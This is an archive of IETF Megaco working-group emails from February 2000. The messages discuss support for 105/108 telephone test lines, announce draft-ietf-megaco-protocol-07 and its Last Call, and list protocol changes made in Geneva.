Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NW3B5DL>; Sat, 19 Feb 2000 17:27:44 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7B28.89D6DC72"
Message-ID:  
Date:         Sat, 19 Feb 2000 17:27:42 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: 105 & 108 tests
X-To:         Chao Deng 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7B28.89D6DC72
Content-Type: text/plain

I suspect we have to define a new test package extending the continuity test
package.

> -----Original Message-----
> From: Chao Deng [SMTP:Chao_Deng@MW.3COM.COM]
> Sent: Saturday, February 19, 2000 11:53 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      105 & 108 tests
>
> Hi all,
>
> (1). How does current Megaco protocol support 105 and 108 test line
> operations?
>
> (2). Can I utilize Basic Continuity Package to implement it as follows?
>      (a). Define and specify test types for 105 & 108 operations in
> Signals
> (Initiate & Respond)
>      (b). MGC Initiates 105/108 test type Signals.
>      (c). MG Responds with appropriate test type Signals.
>      (d). MG performs the specified test procedure 105 by setting RTP side
> terminationMode as "loopback"
>                 and test procedure 108 by setting SCN side terminationMode
> as
> "loopback". Both streamMode are set as "loopbackToken".
>
>
> (3) How can Trunk Package which defines COT & Loopback be used in 105 &
> 108
> tests?
>
> Thanks,
>
> ---Chao D.

------_=_NextPart_001_01BF7B28.89D6DC72
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: 105 & 108 tests




I suspect we have to =
define a new test package extending the continuity test package.



    

    -----Original Message-----

    From:   Chao Deng [SMTP:Chao_Deng@MW.3COM.COM]

    Sent:   Saturday, February 19, 2000 11:53 AM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 105 & 108 tests

    


    Hi all,

    


    (1). How does current Megaco protocol =
support 105 and 108 test line operations?

    


    (2). Can I utilize Basic Continuity =
Package to implement it as follows?

         (a). Define =
and specify test types for 105 & 108 operations in Signals

    (Initiate & Respond)

         (b). MGC =
Initiates 105/108 test type Signals.

         (c). MG =
Responds with appropriate test type Signals.

         (d). MG =
performs the specified test procedure 105 by setting RTP side

    terminationMode as =
"loopback"

             &nb=
sp;      and test procedure 108 by setting SCN =
side terminationMode as

    "loopback". Both streamMode =
are set as "loopbackToken".

    

    


    (3) How can Trunk Package which =
defines COT & Loopback be used in 105 & 108

    tests?

    


    Thanks,

    


    ---Chao D.

    




------_=_NextPart_001_01BF7B28.89D6DC72--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 21 12:07:51 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA12570
	for ; Mon, 21 Feb 2000 12:07:50 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B9F2B200@standards.nortelnetworks.com>; Mon, 21 Feb 2000 12:03:55 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 57014 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 21 Feb 2000 12:02:12 -0500
Received: from motgate.mot.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.7C8E2480@standards.nortelnetworks.com>; Mon, 21 Feb 2000 12:02:12
          -0500
Received: [from pobox2.mot.com (pobox2.mot.com [136.182.15.8]) by
          motgate.mot.com (VWALL-IN-motgate 2.0) with ESMTP id KAA07745 for
          ; Mon, 21 Feb 2000 10:05:15
          -0700 (MST)]
Received: [from relay2.cig.mot.com (relay2.cig.mot.com [136.182.15.24]) by
          pobox2.mot.com (MOT-pobox2 2.0) with ESMTP id KAA21203 for
          ; Mon, 21 Feb 2000 10:05:14
          -0700 (MST)]
Received: from cig.mot.com (peregrine23 [160.15.82.23]) by relay2.cig.mot.com
          (8.9.0/SCERG-RELAY-1.11b) with ESMTP id LAA23306; Mon, 21 Feb 2000
          11:05:12 -0600 (CST)
X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: zh-TW,zh-CN
MIME-Version: 1.0
References: <9DCB6C9DC7C3D311B835009027DE069F1ACD91@EMAIL2>
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: 7bit
Message-ID:  <38B170AA.105B3F6@cig.mot.com>
Date:         Mon, 21 Feb 2000 11:06:50 -0600
Reply-To: xieqb@CIG.MOT.COM
Sender: "Media Gateway Control (megaco)"
              
From: Qiaobing Xie 
Subject:      Re: MGCP open source code?
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Thanks for all of you who answered me..

The site is:
>
> www.vovida.com
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb 21 13:51:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14480
	for ; Mon, 21 Feb 2000 13:51:00 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2347B080@standards.nortelnetworks.com>; Mon, 21 Feb 2000 13:47:04 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 57108 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 21 Feb 2000 13:46:26 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.A6CC4710@standards.nortelnetworks.com>; Mon, 21 Feb 2000
          13:36:26 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Mon, 21 Feb 2000 18:39:17 +0000
Received: from zmers013 by smtprch1.nortel.com; Mon, 21 Feb 2000 12:38:54 -0600
Received: from zcard015.ca.nortel.com (actually zcard015) by zmers013; Mon, 21
          Feb 2000 13:38:44 -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 15YNHNKD; Mon, 21 Feb 2000 13:38:44
          -0500
Received: from nortelnetworks.com (pnc1m006.us.nortel.com [47.142.208.218]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id FL1S6L50; Mon, 21 Feb 2000 13:38:44
          -0500
X-Sybari-Space: 00000000 00000000 00000000
X-Sender: "Michael Brown" 
X-Mailer: Mozilla 4.7 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: multipart/alternative;
              boundary="------------562874D6F85FCA3449223425"
Message-ID:  <38B186AA.A7DA4EB3@nortelnetworks.com>
Date:         Mon, 21 Feb 2000 13:40:42 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: 105 & 108 tests
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------562874D6F85FCA3449223425
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I agree that it would be an extension package, but I would think that it
would be an extension to the analog line supervision package instead of
Continuity since 105 and 108 are line tests and I've been thinking of
the continuity package as applying to trunk type applications.

Michael Brown

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

>
>
> I suspect we have to define a new test package extending the
> continuity test package.
>
>      -----Original Message-----
>      From:   Chao Deng [SMTP:Chao_Deng@MW.3COM.COM]
>      Sent:   Saturday, February 19, 2000 11:53 AM
>      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>      Subject:        105 & 108 tests
>
>      Hi all,
>
>      (1). How does current Megaco protocol support 105 and 108 test
>      line operations?
>
>      (2). Can I utilize Basic Continuity Package to implement it as
>      follows?
>           (a). Define and specify test types for 105 & 108 operations
>      in Signals
>      (Initiate & Respond)
>           (b). MGC Initiates 105/108 test type Signals.
>           (c). MG Responds with appropriate test type Signals.
>           (d). MG performs the specified test procedure 105 by setting
>      RTP side
>      terminationMode as "loopback"
>                      and test procedure 108 by setting SCN side
>      terminationMode as
>      "loopback". Both streamMode are set as "loopbackToken".
>
>      (3) How can Trunk Package which defines COT & Loopback be used in
>      105 & 108
>      tests?
>
>      Thanks,
>
>      ---Chao D.
>

--------------562874D6F85FCA3449223425
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit



I agree that it would be an extension package, but I would think that it
would be an extension to the analog line supervision package instead of
Continuity since 105 and 108 are line tests and I've been thinking of the
continuity package as applying to trunk type applications.

Michael Brown

"Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:

 

I suspect we
have to define a new test package extending the continuity test package.

    -----Original Message-----

    From:  
Chao Deng [SMTP:Chao_Deng@MW.3COM.COM]

    Sent:  
Saturday, February 19, 2000 11:53 AM

    To:    
MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       
105 & 108 tests

    Hi all,

    (1). How does current Megaco protocol
support 105 and 108 test line operations?

    (2). Can I utilize Basic Continuity
Package to implement it as follows?

         (a). Define
and specify test types for 105 & 108 operations in Signals

    (Initiate & Respond)

         (b). MGC
Initiates 105/108 test type Signals.

         (c). MG Responds
with appropriate test type Signals.

         (d). MG performs
the specified test procedure 105 by setting RTP side

    terminationMode as "loopback"

                   
and test procedure 108 by setting SCN side terminationMode as

    "loopback". Both streamMode are set
as "loopbackToken".

    (3) How can Trunk Package which defines
COT & Loopback be used in 105 & 108

    tests?

    Thanks,

    ---Chao D.





--------------562874D6F85FCA3449223425--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 22 11:50:26 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA14884
	for ; Tue, 22 Feb 2000 11:50:20 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.74058340@standards.nortelnetworks.com>; Tue, 22 Feb 2000 11:46:27 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 57770 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 22 Feb 2000 11:44:35 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.3100D5E0@standards.nortelnetworks.com>; Tue, 22 Feb 2000
          11:44:35 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Tue, 22 Feb 2000 16:44:32 +0000
Received: from zmers013 by smtprch1.nortel.com; Tue, 22 Feb 2000 10:44:19 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Tue, 22
          Feb 2000 11:43:56 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWGBH9W>; Tue, 22 Feb 2000 10:43:54 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7D53.FFE4866C"
Message-ID:  
Date:         Tue, 22 Feb 2000 10:43:50 -0600
Reply-To: Nancy-M Greene 
Sender: "Media Gateway Control (megaco)"
              
From: Nancy-M Greene 
Subject:      POSTED: draft-ietf-megaco-protocol-07
X-To:         "Rosen, Brian" 
X-cc:         Tom-PT Taylor ,
              "John Segers (E-mail)" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7D53.FFE4866C
Content-Type: text/plain

This I-D is now on the Megaco ftp site, and will soon be on the ietf ftp
site:
ftp://standards.nortelnetworks.com/megaco/docs/latest

(to see it, do a "reload" of the page from your browser)
Nancy
--------------------------------------------------------------------------
Nancy M. Greene
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
> From:         Rosen, Brian[SMTP:brosen@fore.com]
> Sent:         Monday, February 21, 2000 5:19 PM
> To:   'internet-drafts@ietf.org'
> Cc:   Greene, Nancy-M [CAR:5N40:EXCH]; Taylor, Tom-PT [CAR:B904:EXCH];
> 'John Segers (E-mail)'
> Subject:      draft-ietf-megaco-protocol-07
>
> <>
> Please find attached an update of the Megaco protocol draft:
>
> This draft is a work item of the Megaco WG.
>
>
> Title: MEGACO Protocol
>
> Author(s) : F. Cuervo, B. Hill, N. Greene, C. Huitema, A. Ryahan, B.
> Rosen,
> J. Segers
> Filename : draft-ietf-megaco-protocol-07.txt
> Pages : 150
> Date : 21-Feb-2000
>
> Abstract:
> MEGACO defines the protocols used between elements of a physically
> decomposed multimedia gateway.  There are no functional differences from
> a system view between a decomposed gateway, with distributed sub-
> components potentially on more than one physical device, and a monol-
> ithic gateway such as described in H.246. This document does not define
> how gateways, multipoint control units or integrated voice response
> units (IVRs) work.  Instead it creates a general framework that is suit-
> able for these applications.
>
> Packet network interfaces may include IP, ATM or possibly others.  The
> interfaces will support a variety of SCN signalling systems, including
> tone signalling, ISDN, ISUP, QSIG, and GSM. National variants of these
> signalling systems will be supported where applicable.
>
> The protocol definition in this document is common text with ITU Recom-
> mendation H.248.
>
> ------------
> Brian Rosen, Principal Engineer
> Marconi (Formerly FORE Systems)
> 1000 FORE Drive, Warrendale, PA 15086
> (724) 742-6826  mailto:brosen@eng.fore.com
>
>

------_=_NextPart_001_01BF7D53.FFE4866C
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






POSTED: draft-ietf-megaco-protocol-07




This I-D is now on =
the Megaco ftp site, and will soon be on the ietf ftp site:

ftp://standards.nortelnetworks.com/megaco/docs/latest<=
/A>




(to see it, do a =
"reload" of the page from your browser)

Nancy

-----------------------------------------------------------------=
---------

Nancy M. Greene 

Internet & Service =
Provider Networks, Nortel Networks

T:514-271-7221 =
(internal:ESN853-1077) E:ngreene@nortelnetworks.com





------_=_NextPart_001_01BF7D53.FFE4866C--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 22 12:09:30 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15546
	for ; Tue, 22 Feb 2000 12:09:24 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1E2673A0@standards.nortelnetworks.com>; Tue, 22 Feb 2000 12:05:32 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 57822 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 22 Feb 2000 12:04:39 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.FE6DE070@standards.nortelnetworks.com>; Tue, 22 Feb 2000
          12:04:39 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Tue, 22 Feb 2000 17:05:51 +0000
Received: from zmers013 by smtprch1.nortel.com; Tue, 22 Feb 2000 11:05:30 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Tue, 22
          Feb 2000 12:05:21 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWGB248>; Tue, 22 Feb 2000 11:05:19 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7D56.FE7216D4"
Message-ID:  
Date:         Tue, 22 Feb 2000 11:05:18 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      WG Last Call: draft-ietf-megaco-protocol-07
X-cc:         "John Segers (E-mail)" ,
              "Rosen, Brian" ,
              Nancy-M Greene 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7D56.FE7216D4
Content-Type: text/plain

I suppose technically I should wait until the IETF version has been posted,
but I hope you'll let me jump the gun a bit.  I invite last call review of
draft-ietf-megaco-protocol-07.txt.  Please give it your careful attention so
we can catch any bugs that are in there.

Barring major glitches, WG Last Call ends in two weeks, on March 8th.

I know of a few outstanding items already: I was unable to feed the comments
from Shalini Philip, "Comments on V15: ABNF related", 11/02/00, into the
process in Geneva, so as far as I know they haven't been fixed.  I will post
a daily summary of errata and proposed fixes during the Last Call period.

I will also post a summary of the reasons for changes from MegacoH248v15 to
MegacoH248v16 (i.e. the changes made in Geneva) to the list later today.

> -----Original Message-----
> From: Greene, Nancy-M [CAR:5N40:EXCH]
> Sent: Tuesday, February 22, 2000 11:44 AM
> To:   'Rosen, Brian'; 'megaco@standards.nortelnetworks.com'
> Cc:   Taylor, Tom-PT [CAR:B904:EXCH]; 'John Segers (E-mail)'
> Subject:      POSTED: draft-ietf-megaco-protocol-07
>
> This I-D is now on the Megaco ftp site, and will soon be on the ietf ftp
> site:
> ftp://standards.nortelnetworks.com/megaco/docs/latest
>
> (to see it, do a "reload" of the page from your browser)
> Nancy
> --------------------------------------------------------------------------
> Nancy M. Greene
> Internet & Service Provider Networks, Nortel Networks
> T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com
>
>       ----------
>       From:   Rosen, Brian[SMTP:brosen@fore.com]
>       Sent:   Monday, February 21, 2000 5:19 PM
>       To:     'internet-drafts@ietf.org'
>       Cc:     Greene, Nancy-M [CAR:5N40:EXCH]; Taylor, Tom-PT
> [CAR:B904:EXCH]; 'John Segers (E-mail)'
>       Subject:        draft-ietf-megaco-protocol-07
>
>       <>
>       Please find attached an update of the Megaco protocol draft:
>
>       This draft is a work item of the Megaco WG.
>
>
>       Title: MEGACO Protocol
>
>       Author(s) : F. Cuervo, B. Hill, N. Greene, C. Huitema, A. Ryahan, B.
> Rosen,
>       J. Segers
>       Filename : draft-ietf-megaco-protocol-07.txt
>       Pages : 150
>       Date : 21-Feb-2000
>
>       Abstract:
>       MEGACO defines the protocols used between elements of a physically
>       decomposed multimedia gateway.  There are no functional differences
> from
>       a system view between a decomposed gateway, with distributed sub-
>       components potentially on more than one physical device, and a
> monol-
>       ithic gateway such as described in H.246. This document does not
> define
>       how gateways, multipoint control units or integrated voice response
>       units (IVRs) work.  Instead it creates a general framework that is
> suit-
>       able for these applications.
>
>       Packet network interfaces may include IP, ATM or possibly others.
> The
>       interfaces will support a variety of SCN signalling systems,
> including
>       tone signalling, ISDN, ISUP, QSIG, and GSM. National variants of
> these
>       signalling systems will be supported where applicable.
>
>       The protocol definition in this document is common text with ITU
> Recom-
>       mendation H.248.
>
>       ------------
>       Brian Rosen, Principal Engineer
>       Marconi (Formerly FORE Systems)
>       1000 FORE Drive, Warrendale, PA 15086
>       (724) 742-6826  mailto:brosen@eng.fore.com
>
>

------_=_NextPart_001_01BF7D56.FE7216D4
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






WG Last Call: draft-ietf-megaco-protocol-07




I suppose =
technically I should wait until the IETF version has been posted, but I =
hope you'll let me jump the gun a bit.  I invite last call review =
of draft-ietf-megaco-protocol-07.txt.  Please give it your careful =
attention so we can catch any bugs that are in there.



Barring major =
glitches, WG Last Call ends in two weeks, on March 8th.




I know of a few =
outstanding items already: I was unable to feed the comments from =
Shalini Philip, "Comments on V15: ABNF related", 11/02/00, into the =
process in Geneva, so as far as I know they haven't been fixed.  I =
will post a daily summary of errata and proposed fixes during the Last =
Call period.



I will also post a =
summary of the reasons for changes from MegacoH248v15 to MegacoH248v16 =
(i.e. the changes made in Geneva) to the list later today.




------_=_NextPart_001_01BF7D56.FE7216D4--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 22 19:06:50 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27940
	for ; Tue, 22 Feb 2000 19:06:49 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6C7E8E40@standards.nortelnetworks.com>; Tue, 22 Feb 2000 19:02:54 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 58093 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 22 Feb 2000 19:00:55 -0500
Received: from auemlsrv.firewall.lucent.com (192.11.223.161) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.253F6B80@standards.nortelnetworks.com>; Tue, 22 Feb 2000
          19:00:54 -0500
Received: from auemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by
          auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id TAA15198
          for ; Tue, 22 Feb 2000 19:04:02
          -0500 (EST)
Received: from ihgp2.ih.lucent.com (h135-1-53-26.lucent.com [135.1.53.26]) by
          auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id TAA15158
          for ; Tue, 22 Feb 2000 19:03:56
          -0500 (EST)
Received: by ihgp2.ih.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id SAA21189; Tue, 22
          Feb 2000 18:03:55 -0600 (CST)
Received: from il0015varney2 by ihgp2.ih.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id
          SAA21179; Tue, 22 Feb 2000 18:03:51 -0600 (CST)
X-Sender: varney@ihgp2.ih.lucent.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
References: 
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Message-ID:  <4.2.2.20000222162126.00aeea50@ihgp2.ih.lucent.com>
Date:         Tue, 22 Feb 2000 18:03:45 -0600
Reply-To: Al Varney 
Sender: "Media Gateway Control (megaco)"
              
From: Al Varney 
Subject:      Re: 105 & 108 tests
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38B186AA.A7DA4EB3@nortelnetworks.com>


At 13:40 02/21/2000 -0500, Michael Brown wrote:


I agree that it would be an extension package,
but I would think that it would be an extension to the analog line
supervision package instead of Continuity since 105 and 108 are line
tests and I've been thinking of the continuity package as applying to
trunk type applications. 


   I'm trying to figure out how you could categorize 105/108
tests

as "line tests".  While 108 might be available for BER
testing of

"PBX lines" over T1/E1 facilities, the EO in many respects
treats these

as "trunks" (and they certainly would be candidates to appear
on a

Trunk Gateway rather than a Line Gateway).  BRI lines may have a
108-type

digital loop-back test available to them.  But I can't think of a
case

where 105/108 would be useful as ANALOG line tests.



   In fact, the ANSI T1.207 document defining these terms (and
the

Telcordia SR-2275 "Notes on the Network" document which appears
to

have been the source for much of T1.207) both state that "test
lines"

are a basic part of Trunk Maintenance.  That's certainly been
my

experience.



   Just some thoughts on tests accessed from a line:



a) Any line should be able to call up a DTMF test (even IP phones).

   If RTP can pass/encode the tones, then it make sense for
this test

   termination to NOT be in the line/residential gateway -- one
wants

   to assure DTMF can actually be signalled over the packet
"fabric".



b) Same goes for 100-type (quiet termination) and 102-type
(milli-watt)

   tests.  Noise/level measurements need to include the
packetization

   effects that real calls will encounter.  So RTP had
better be able

   to handle milli-watt/DRS very cleanly.



   So it doesn't seem (to me) line/residential gateways need to
have

these particular types of test capabilities built in.  (They do
need

to be capable of connecting to test line equipment, including
transmission

measuring equipment.)  On the other hand, basic analog loop
tests

(power-cross, low loop resistance) made on a per-call basis, as
well

as ROH/permanent-signal capabilities are pretty much essential in
such

gateways.  Rather than 10X-type capabilities, I think metallic
test

access is something line gateways may have to provide, and that
really

IS a topic for another thread....



   On to the proposal:




"Taylor, Tom-PT (P.T.)
[EXCHANGE:CAR:B904]" wrote: 


 
I suspect we have to
define a new test package extending the continuity test package.


    
-----Original Message-----

From:   Chao Deng
[SMTP:Chao_Deng@MW.3COM.COM]

Sent:   Saturday,
February 19, 2000 11:53 AM

To:    
MEGACO@STANDARDS.NORTELNETWORKS.COM

Subject:        105 & 108 tests 
    

    

Hi all, 
    

    

(1). How does current Megaco protocol support 105 and 108 test line operations? 
    

    

(2). Can I utilize Basic Continuity Package to implement it as follows? 
     (a). Define and specify test types for 105 & 108 operations in Signals 
(Initiate & Respond) 
     (b). MGC Initiates 105/108 test type Signals. 
     (c). MG Responds with appropriate test type Signals. 
     (d). MG performs the specified test procedure 105 by setting RTP side 
terminationMode as "loopback" 
                and test procedure 108 by setting SCN side terminationMode as 
"loopback". Both streamMode are set as "loopbackToken". 

   I follow your 108 procedure (SCN loopback) at the "terminating"

Gateway -- essential if the MGC receives a 108 request from a

connecting PSTN switch.  You'll need a new package if you want to

initiate a 108 test from a gateway to a PSTN switch -- both the

digital stream generation and detector would be in the initiating

gateway.



   I don't follow your 105 suggestion at all.  At a minimum, a new

package would be needed in the terminating gateway, to act as a

105-type responder (tones + signaling).  I'm confused by the use

of RTP loopback here.



   There are other means to do 10X tests, besides building them into

every trunk gateway.  Two obvious alternatives are:



1) Incoming 10X-type requests are handled by bridging PSTN trunks to a

   TDM circuit dedicated to trunk test equipment (and the MGC can control

   this equipment).  This also works for outgoing trunk tests.  Downsides

   are that a dedicated TDM circuit is needed in each trunk gateway (a

   big problem for remotely-located gateways) and any test will really

   be testing both the PSTN circuit AND the test trunk circuit (so any

   failures are always suspect).  The PSTN-to-test-circuit bridge would

   have to be bit-transparent and also pass along any robbed-bit signals.

   [This is similar to how analog switches did 10X.]



2) Incoming 10X-type requests could be RTP-encoded using G.711 with

   signalling bits carried transparently to a centralized test facility

  (similar to an announcement server, but CAS signaling needs to be

   considered as well.)  This only works if the RTP processing introduces

   very little delay for these connections.  Outgoing tests (105/108)

   could also use this method.  But can RTP operate with low-enough

   delay to have an accurate C-notched noise test performed over it,

   for example?



   Note that these alternatives require no MEGACO work, unless the

   support for robbed-bit/CAS signaling needs a new type of internal

   bridging connection or a low-delay RTP (one packet per frame???)

   needs to be added for accurate measurements.



   Feedback??  (Sorry about the length.)






    
(3) How can Trunk Package which defines COT & Loopback be used in 105 & 108 
tests? 
    

    

Thanks, 
    

    

---Chao D.









Al Varney - Lucent Technologies  +1 630 224-7493    varney@lucent.com



From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Feb 22 23:24:48 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA02081
	for ; Tue, 22 Feb 2000 23:24:48 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7B5CF900@standards.nortelnetworks.com>; Tue, 22 Feb 2000 23:21:01 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 58184 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 22 Feb 2000 23:19:37 -0500
Received: from qhars001.nortel.com (192.100.101.18) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.49230060@standards.nortelnetworks.com>; Tue, 22 Feb 2000
          23:19:37 -0500
Received: from smtprch1.nortel.com (actually erchg0j) by qhars001.nortel.com;
          Wed, 23 Feb 2000 04:20:18 +0000
Received: from zmers013 by smtprch1.nortel.com; Tue, 22 Feb 2000 22:20:01 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Tue, 22
          Feb 2000 23:19:41 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NW3DN35>; Tue, 22 Feb 2000 23:19:40 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Tue, 22 Feb 2000 23:19:39 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Changes Made In Geneva
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a detailed list and explanation of the changes to the protocol
document made in Geneva.  It relies on the change bars in
Megaco248v15tov16diff.doc.

2. References: added in support of some of the entries in Annex C.

3. Definitions: in definition of MG, DS-0 changed from "i.e." to "e.g."
because it is a North American entity.

4. Abbreviations: a few items added.

6.1.1 -- contextID encoding as 32 bits deleted -- syntax should be
restricted to syntax annexes

6.2.2 -- slight clarification of the operation of the wildcard audit

7.1.5
 -- EventBufferControl property name change in line with reworking of
description of event handling (sec. 7.1.9)
 -- state transitions in 7.2.8 reworked -- test now means test, not a
transitional state during graceful state change.  Change in intent reflected
in wording in 7.1.5.

7.1.6
 -- paragraph added clarifying significance of streamIDs.
 -- explanation of consequence of move for streams simplified -- same as an
Add in the new context.

7.1.7
 -- Reserve parameter in LocalControl has become ReserveValue (affects MG
selection behaviour within the same session description in Local or Remote)
and ReserveGroup (the old Reserve -- governs selection behaviour when
multiple session descriptions have been presented).  Related changes show up
in 7.1.6, 7.1.8, Annexes A and B.

7.1.8
